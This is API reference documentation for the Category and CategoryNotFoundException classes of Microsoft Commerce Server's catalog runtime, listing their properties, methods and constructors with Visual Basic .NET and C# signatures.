GetRelatedProducts | Gets the product relationships for this category.

Public Instance Properties

Property | Description
AncestorCategoryNames | Gets the names of all categories that are above this category in the category hierarchy.
CanonicalCategoryPath | Gets the names of the categories that form a canonical path to this category. The first element in the array is a child of the root category. The canonical path of any category is formed by looking up the primary parent of this category, the primary parent of that category, and so on until the root of the hierarchy is reached. If a category does not have a primary parent category, then an arbitrary parent is chosen as the parent.
CatalogContext | Gets the CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this category.
ChildCategoriesCount | Gets the number of categories that are immediate children of this category.
ChildCategoryNames | Gets the names of the categories that are immediate children of this category.
ChildProductsCount | Gets the number of products that are immediate children of this category.
DebugContext | Gets the DebugContext object for the CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this category.
Name | Gets the name of the category.
ParentCategoryNames | Gets the names of the categories that are immediate parents of this category in the category hierarchy.
PrimaryParentCategoryName | Gets the name of the primary parent category of this category.
ProductCatalog | Gets the ProductCatalog object for the catalog that contains this category.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Remarks

There is no public constructor of Category objects.

A Category object should be referenced only on the page in which it was created.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category Constructor (BCL)

Protected Instance Constructor

Constructor | Description
Constructor(ProductCatalog, String) | Creates a new instance of the Category class representing a category of the specified ProductCatalog object.


Category Constructor (ProductCatalog, String) (BCL)

Use this method to create a new instance of the Category class representing a category of the specified ProductCatalog object.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal catalog As ProductCatalog, _
  ByVal categoryName As System.String _
)
[C#]
protected Category(
  ProductCatalog catalog,
  System.String categoryName
);

Parameters

[Visual Basic .NET]
catalog
The ProductCatalog object that contains the Category object. This value may not be NULL.
categoryName
The name of the category. This may be NULL or String.Empty to indicate the root category.
[C#]
catalog
The ProductCatalog object that contains the Category object. This value may not be NULL.
categoryName
The name of the category. This may be NULL or String.Empty to indicate the root category.

Remarks

This constructor is provided so that the Category object can be subclassed.

Throws an ArgumentNullException if the catalog parameter is NULL.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Disposes of resources early.
GetCategoryProperties | Returns properties for this category. Both the properties that are present in the definition of this category, and the built-in properties are returned.
GetChildCategories(CatalogSearchOptions, Boolean, Int32) | Gets property data for the immediate child categories of this category using the searchOptions parameter to determine how the results are returned.
GetChildCategories(CatalogSearchOptions, Boolean) | Gets property data for the immediate child categories of this category using the searchOptions parameter to determine how the results are returned.
GetChildCategories(CatalogSearchOptions) | Gets property data for the immediate child categories of this category using the searchOptions parameter to determine how the results are returned.
GetChildCategories | Gets property data for the immediate child categories of this category using the searchOptions parameter to determine how the results are returned.
GetProducts(CatalogSearchOptions, Boolean, Int32) | Gets the properties for the products in this category using the searchOptions parameter to determine how the results are returned.
GetProducts(CatalogSearchOptions, Boolean) | Gets the properties for the products in this category using the searchOptions parameter to determine how the results are returned.
GetProducts(CatalogSearchOptions) | Gets the properties for the products in this category using the searchOptions parameter to determine how the results are returned.
GetProducts | Gets the properties for the products in this category.
GetRelatedCategories | Gets the category relationships for this category.
GetRelatedProducts | Gets the product relationships for this category.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


Category.CheckState Method (BCL)

Use this method to verify that the object has not already been disposed.

Definition

[Visual Basic .NET]
Protected Overridable Public Sub CheckState( _
)
[C#]
public protected virtual void CheckState(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.Dispose Method (BCL)

Releases resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Remarks

This method calls the Object.Dispose(True) method to dispose of the resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.Dispose (Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this object and optionally release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this was called from the Dispose method, False if called from the finalizer.
[C#]
disposing
True if this was called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the .NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.GetCategoryProperties Method (BCL)

Use this method to return properties for this category. Both the properties that are present in the definition of this category, and the built-in properties are returned.

Definition

[Visual Basic .NET]
Overridable Public Function GetCategoryProperties( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetCategoryProperties(
);

Return Value

Returns a DataSet with a single DataTable. The DataTable contains a single DataRow containing the property information.

Remarks

Throws a CatalogException on failure.

If this category has been deleted from the database, this property throws an exception. For categories created in virtual catalogs, the category name returned in the DataSet will not contain the appended catalog name.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.GetChildCategories Method (BCL)

Use this method to get the CategoryName, CatalogName, DefinitionName and DisplayName properties for the immediate child categories of this category.

Definition

[Visual Basic .NET]
Overridable Public Function GetChildCategories( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetChildCategories(
);

Return Value

The DataSet contains a single DataTable with the child category property data.

Remarks

Calling the GetChildCategories method is more efficient than calling any of the GetChildCategories methods with parameters.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.GetChildCategories (CatalogSearchOptions) Method (BCL)

Use this method to get property data for the immediate child categories of this category using the searchOptions parameter to determine how the results are returned.

Definition

[Visual Basic .NET]
Overridable Public Function GetChildCategories( _
  ByVal searchOptions As CatalogSearchOptions _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetChildCategories(
  CatalogSearchOptions searchOptions
);

Parameters

[Visual Basic .NET]
searchOptions
A CatalogSearchOptions object specifying how the data is to be returned. This value may be NULL.
[C#]
searchOptions
A CatalogSearchOptions object specifying how the data is to be returned. This value may be NULL.

Return Value

The DataSet contains a single DataTable with the child category property data.

Remarks

Calling the GetChildCategories method is more efficient than calling any of the GetChildCategories methods with parameters.

Throws a CatalogException on failure.

Because this method internally calls the Category.Search method, some error messages will report that the Search method has failed even though the Search method was not explicitly called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.GetChildCategories (CatalogSearchOptions, Boolean) Method (BCL)

Use this method to get property data for the child categories of this category using the parameter to determine how the results are returned. . If the recursive value is true, the child categories of child categories of this category are also returned, as are the grandchild categories, the great-grandchild categories, and so on. In fact, all underlying recursive categories are returned.

Definition

[Visual Basic .NET]
Overridable Public Function GetChildCategories( _
  ByVal searchOptions As CatalogSearchOptions, _
  ByVal recursive As System.Boolean _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetChildCategories(
  CatalogSearchOptions searchOptions,
  System.Boolean recursive
);

Parameters

[Visual Basic .NET]
searchOptions
A CatalogSearchOptions object specifies how the data is to be returned. This value may be NULL.
recursive
A System.Boolean that indicates whether the search is recursive. A value of true indicates that the search is recursive.
[C#]
searchOptions
A CatalogSearchOptions object specifies how the data is to be returned. This value may be NULL.
recursive
A System.Boolean that indicates whether the search is recursive. A value of true indicates that the search is recursive.

Return Value

The DataSet contains a single DataTable with the child category property data.

Remarks

Calling the GetChildCategories method is more efficient than calling any of the GetChildCategories methods with parameters.

Throws a CatalogException on failure.

Because this method internally calls the Category.Search method, some error messages will report that the Search method has failed even though the Search method was not explicitly called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.GetChildCategories (CatalogSearchOptions, Boolean, Int32) Method (BCL)

Use this method to get the property data for child categories of this category using the CatalogSearchOptions parameter to determine how the results are returned. If the recursive value is true, the child categories of child categories of this category are also returned, as are the grandchild categories, the great-grandchild categories, and so on. In fact, all underlying recursive categories are returned.

The total number of categories meeting the criteria are returned in the totalRecords parameter.

Definition

[Visual Basic .NET]
Overridable Public Function GetChildCategories( _
  ByVal searchOptions As CatalogSearchOptions, _
  ByVal recursive As System.Boolean, _
  ByRef totalRecords As System.Int32 _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetChildCategories(
  CatalogSearchOptions searchOptions,
  System.Boolean recursive,
  out System.Int32 totalRecords
);

Parameters

[Visual Basic .NET]
searchOptions
A CatalogSearchOptions object specifies how the data is to be returned.
recursive
A System.Boolean that indicates whether the search is recursive. A value of true indicates that the search is recursive.
totalRecords
(out) A System.Int32 object that contains the total number of categories returned.
[C#]
searchOptions
A CatalogSearchOptions object specifies how the data is to be returned.
recursive
A System.Boolean that indicates whether the search is recursive. A value of true indicates that the search is recursive.
totalRecords
(out) A System.Int32 object that contains the total number of categories returned.

Return Value

The DataSet contains a single DataTable with the child category property data.

Remarks

Calling the GetChildCategories method is more efficient than calling any of the GetChildCategories methods with parameters.

Throws a CatalogException on failure.

Because this method internally calls the Category.Search method, some error messages will report that the Search method has failed even though the Search method was not explicitly called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.GetProducts Method (BCL)

Use this method to get all properties for all of the products in this category object.

Definition

[Visual Basic .NET]
Overridable Public Function GetProducts( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetProducts(
);

Return Value

The DataSet with a single DataTable that contains the product properties.

Remarks

Calling the GetProducts method is more efficient than calling any of the GetProducts methods with parameters.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.GetProducts (CatalogSearchOptions) Method (BCL)

Use this method to get properties for the products in this category using the searchOptions parameter to determine how the results are returned.

Definition

[Visual Basic .NET]
Overridable Public Function GetProducts( _
  ByVal searchOptions As CatalogSearchOptions _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetProducts(
  CatalogSearchOptions searchOptions
);

Parameters

[Visual Basic .NET]
searchOptions
A CatalogSearchOptions object specifies how the data is to be returned. This value may be NULL.
[C#]
searchOptions
A CatalogSearchOptions object specifies how the data is to be returned. This value may be NULL.

Return Value

A DataSet with a single DataTable that contains the product properties.

Remarks

Calling the GetProducts method is more efficient than calling any of the GetProducts methods with parameters.

Throws a CatalogException on failure.

Because this method internally calls the Category.Search method, some error messages will report that the Search method has failed even though the Search method was not explicitly called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.GetProducts (CatalogSearchOptions, Boolean) Method (BCL)

Use this method to get the properties for the products in this category using the searchOptions parameter to determine how the results are returned. If the recursive value is true, the products in child categories of this product are also returned.

Definition

[Visual Basic .NET]
Overridable Public Function GetProducts( _
  ByVal searchOptions As CatalogSearchOptions, _
  ByVal recursive As System.Boolean _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetProducts(
  CatalogSearchOptions searchOptions,
  System.Boolean recursive
);

Parameters

[Visual Basic .NET]
searchOptions
A CatalogSearchOptions object specifies how the data is to be returned. This value may be NULL.
recursive
A System.Boolean that indicates whether the search is recursive. A value of true indicates that the search is recursive.
[C#]
searchOptions
A CatalogSearchOptions object specifies how the data is to be returned. This value may be NULL.
recursive
A System.Boolean that indicates whether the search is recursive. A value of true indicates that the search is recursive.

Return Value

A DataSet with a single DataTable that contains the product properties.

Remarks

Calling the GetProducts method is more efficient than calling any of the GetProducts methods with parameters.

Throws a CatalogException on failure.

Because this method internally calls the Category.Search method, some error messages will report that the Search method has failed even though the Search method was not explicitly called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.GetProducts (CatalogSearchOptions, Boolean, Int32) Method (BCL)

Use this method to get the properties for the products in this category using the searchOptions parameter to determine how the results are returned. If the recursive value is true, the products in child categories of this product are also returned. As well, the products in grandchild categories, in great-grandchild categories, and so on, are all returned.

Definition

[Visual Basic .NET]
Overridable Public Function GetProducts( _
  ByVal searchOptions As CatalogSearchOptions, _
  ByVal recursive As System.Boolean, _
  ByRef totalRecords As System.Int32 _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetProducts(
  CatalogSearchOptions searchOptions,
  System.Boolean recursive,
  out System.Int32 totalRecords
);

Parameters

[Visual Basic .NET]
searchOptions
A CatalogSearchOptions object specifies how the data is to be returned. This value may be NULL.
recursive
A System.Boolean that indicates whether the search is recursive. A value of true indicates that the search is recursive.
totalRecords
An integer containing the total number of products returned by the query.
[C#]
searchOptions
A CatalogSearchOptions object specifies how the data is to be returned. This value may be NULL.
recursive
A System.Boolean that indicates whether the search is recursive. A value of true indicates that the search is recursive.
totalRecords
An integer containing the total number of products returned by the query.

Return Value

A DataSet with a single DataTable that contains the product properties.

Remarks

Calling the GetProducts method is more efficient than calling any of the GetProducts methods with parameters.

Throws a CatalogException on failure.

Because this method internally calls the Category.Search method, some error messages will report that the Search method has failed even though the Search method was not explicitly called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.GetRelatedCategories Method (BCL)

Use this method to get the category relationships for this category.

Definition

[Visual Basic .NET]
Overridable Public Function GetRelatedCategories( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetRelatedCategories(
);

Return Value

A DataSet that contains a single DataTable with the following columns: CategoryName, RelationshipName, RelationshipDescription, and TargetCatalog. All of these columns are of the type String.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.GetRelatedProducts Method (BCL)

Use this method to get the product relationships for this category.

Definition

[Visual Basic .NET]
Overridable Public Function GetRelatedProducts( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetRelatedProducts(
);

Return Value

A DataSet that contains a single DataTable with the following columns: ProductId , RelationshipName , RelationshipDescription , and TargetCatalog. All of these columns are of type String.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category Properties (BCL)

Public Instance Properties

Property | Description
AncestorCategoryNames | Gets the names of all the categories that are above this category in the category hierarchy.
CanonicalCategoryPath | Gets the names of the categories that form a canonical path to this category. The first element in the array is a child of the root category. The canonical path of any category is formed by looking up the primary parent of this category, the primary parent of that category, and so on until the root of the hierarchy is reached. If a category does not have a primary parent category, then an arbitrary parent is chosen as the parent.
CatalogContext | Gets the CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this category.
ChildCategoriesCount | Gets the number of categories that are immediate children of this category.
ChildCategoryNames | Gets the names of the categories that are immediate children of this category.
ChildProductsCount | Gets the number of products that are immediate children of this category.
DebugContext | Gets the DebugContext object for the CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this category.
Name | Gets the name of the category.
ParentCategoryNames | Gets the names of the categories that are immediate parents of this category in the category hierarchy.
PrimaryParentCategoryName | Gets the name of the primary parent category of this category.
ProductCatalog | Gets the ProductCatalog object for the catalog that contains this category.


Category.AncestorCategoryNames Property (BCL)

The AncestorCategoryNames property is a read-only String that gets the names of all categories that are above this category in the category hierarchy.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property AncestorCategoryNames As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection AncestorCategoryNames {get;}

Property Value

A ReadOnlyStringCollection that contains the categories.

Remarks

If this category is a root category, the returned array is empty.

Throws a CatalogException on failure.

The list of ancestor category names is cached. Call the CatalogContextRefresh method to explicitly refresh this cached data.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.CanonicalCategoryPath Property (BCL)

The CanonicalCategoryPath property is a read-only String that gets the names of the categories that form a canonical path to this category.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property CanonicalCategoryPath As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection CanonicalCategoryPath {get;}

Property Value

A ReadOnlyStringCollection that contains the categories.

Remarks

The first element in the array is a child of the root category. The canonical path of any category is formed by looking up the primary parent of this category, the primary parent of that category, and so on until the root of the hierarchy is reached. If a category does not have a primary parent category, then an arbitrary parent is chosen as the parent. If this category is a root category, the returned array is empty.

In case of parent ambiguity, it chooses an arbitrary parent to be the canonical parent.

This list is cached. Call the CatalogContextRefresh method to explicitly refresh this cached data.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.CatalogContext Property (BCL)

The CatalogContext property is a read-only String that gets the CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this category.

Definition

[Visual Basic .NET]
Public ReadOnly Property CatalogContext As CatalogContext
[C#]
public CatalogContext CatalogContext {get;}

Property Value

The CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this category.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.ChildCategoriesCount Property (BCL)

The ChildCategoriesCount property is a read-only String that gets the number of categories that are immediate children of this category.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property ChildCategoriesCount As System.Int32
[C#]
public virtual System.Int32 ChildCategoriesCount {get;}

Property Value

A System.Int32 that contains the count.

Remarks

Throws a CatalogException on failure.

This information is cached. Call the CatalogContextRefresh method to explicitly refresh this cached data.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.ChildCategoryNames Property (BCL)

The ChildCategoryNames property is a read-only String that gets the names of the categories that are immediate children of this category.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property ChildCategoryNames As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection ChildCategoryNames {get;}

Property Value

A ReadOnlyStringCollection object that contains the child category names.

Remarks

Throws a CatalogException on failure. The list of child category names is cached. Call the CatalogContextRefresh method to explicitly refresh this cached data.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.ChildProductsCount Property (BCL)

The ChildProductsCount property is a read-only String that gets the number of products that are immediate children of this category.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property ChildProductsCount As System.Int32
[C#]
public virtual System.Int32 ChildProductsCount {get;}

Property Value

A System.Int32 that contains the count.

Remarks

Throws a CatalogException on failure.

This information is cached. Call the CatalogContextRefresh method to explicitly refresh this cached data.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.DebugContext Property (BCL)

The DebugContext property is a read-only String that gets the DebugContext object for the CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this category.

Definition

[Visual Basic .NET]
Public ReadOnly Property DebugContext As DebugContext
[C#]
public DebugContext DebugContext {get;}

Property Value

The DebugContext object that gets the DebugContext object for the CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this category.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.Name Property (BCL)

The Name property is a read-only String that gets the name of the category.

Definition

[Visual Basic .NET]
Public ReadOnly Property Name As System.String
[C#]
public System.String Name {get;}

Property Value

A System.String object that contains the name.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.ParentCategoryNames Property (BCL)

The ParentCategoryNames property is a read-only String that gets the names of the categories that are immediate parents of this category in the category hierarchy.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property ParentCategoryNames As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection ParentCategoryNames {get;}

Property Value

A ReadOnlyStringCollection object that contains the parent category names.

Remarks

If this category is a root category, the returned array is empty. The list of parent category names is cached. Call the CatalogContextRefresh method to explicitly refresh this cached data.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.PrimaryParentCategoryName Property (BCL)

The PrimaryParentCategoryName property is a read-only String that gets the name of the primary parent category of this category.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property PrimaryParentCategoryName As System.String
[C#]
public virtual System.String PrimaryParentCategoryName {get;}

Property Value

A System.String object that contains the name of the primary parent.

Remarks

The primary parent category name is cached. Call the CatalogContextRefresh method to explicitly refresh this cached data.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.ProductCatalog Property (BCL)

The ProductCatalog property is a read-only String that gets the ProductCatalog object for the catalog that contains this category.

Definition

[Visual Basic .NET]
Public ReadOnly Property ProductCatalog As ProductCatalog
[C#]
public ProductCatalog ProductCatalog {get;}

Property Value

The ProductCatalog object that gets the ProductCatalog object for the catalog that contains this category.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CategoryNotFoundException Class (BCL)

Exception thrown when the category is not found.

Public Instance Constructor

Constructor | Description
CategoryNotFoundException Constructor | Creates a new instance of the Microsoft.CommerceServer.Runtime.dll class.
CategoryNotFoundException Constructor (String) | Creates a new instance of the CategoryNotFoundException class with the specified message.
CategoryNotFoundException Constructor (String, String) | Creates a new instance of the CategoryNotFoundException class with the specified catalog name and category name.
CategoryNotFoundException Constructor (String, Exception) | Creates a new instance of the CategoryNotFoundException class with the specified message and inner exception.

Protected Instance Constructor

Constructor | Description
CategoryNotFoundException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CategoryNotFoundException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
CatalogName | Gets the CatalogName.
CategoryName | Gets the CategoryName.
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CategoryNotFoundException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CategoryNotFoundException Constructor | Creates a new instance of the Microsoft.CommerceServer.Runtime.dll class.
CategoryNotFoundException Constructor (String) | Creates a new instance of the CategoryNotFoundException class with the specified message.
CategoryNotFoundException Constructor (String, String) | Creates a new instance of the CategoryNotFoundException class with the specified catalog name and category name.
CategoryNotFoundException Constructor (String, Exception) | Creates a new instance of the CategoryNotFoundException class with the specified message and inner exception.

Protected Instance Constructor

Constructor | Description
CategoryNotFoundException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CategoryNotFoundException class with the specified serialization information and streaming context.


CategoryNotFoundException Constructor (BCL)

Use this method to create a new instance of the CategoryNotFoundException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CategoryNotFoundException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CategoryNotFoundException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CategoryNotFoundException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CategoryNotFoundException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CategoryNotFoundException Constructor (String) (BCL)

Use this method to create a new instance of the CategoryNotFoundException class with the specified message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CategoryNotFoundException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
A System.String containing the message to include in the CategoryNotFoundException object.
[C#]
message
A System.String containing the message to include in the CategoryNotFoundException object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CategoryNotFoundException Constructor (String, String) (BCL)

Use this method to create a new instance of the CategoryNotFoundException class with the specified catalog name and category name.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal catalogName As System.String, _
  ByVal categoryName As System.String _
)
[C#]
public CategoryNotFoundException(
  System.String catalogName,
  System.String categoryName
);

Parameters

[Visual Basic .NET]
catalogName
A System.String containing the catalog name.
categoryName
A System.String containing the category name.
[C#]
catalogName
A System.String containing the catalog name.
categoryName
A System.String containing the category name.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CategoryNotFoundException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CategoryNotFoundException class with the specified message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CategoryNotFoundSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
A System.String containing the message to include in the CategoryNotFoundException object.
inner
The inner System.Exception object.
[C#]
message
A System.String containing the message to include in the CategoryNotFoundException object.
inner
The inner System.Exception object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CategoryNotFoundException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CategoryNotFoundException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

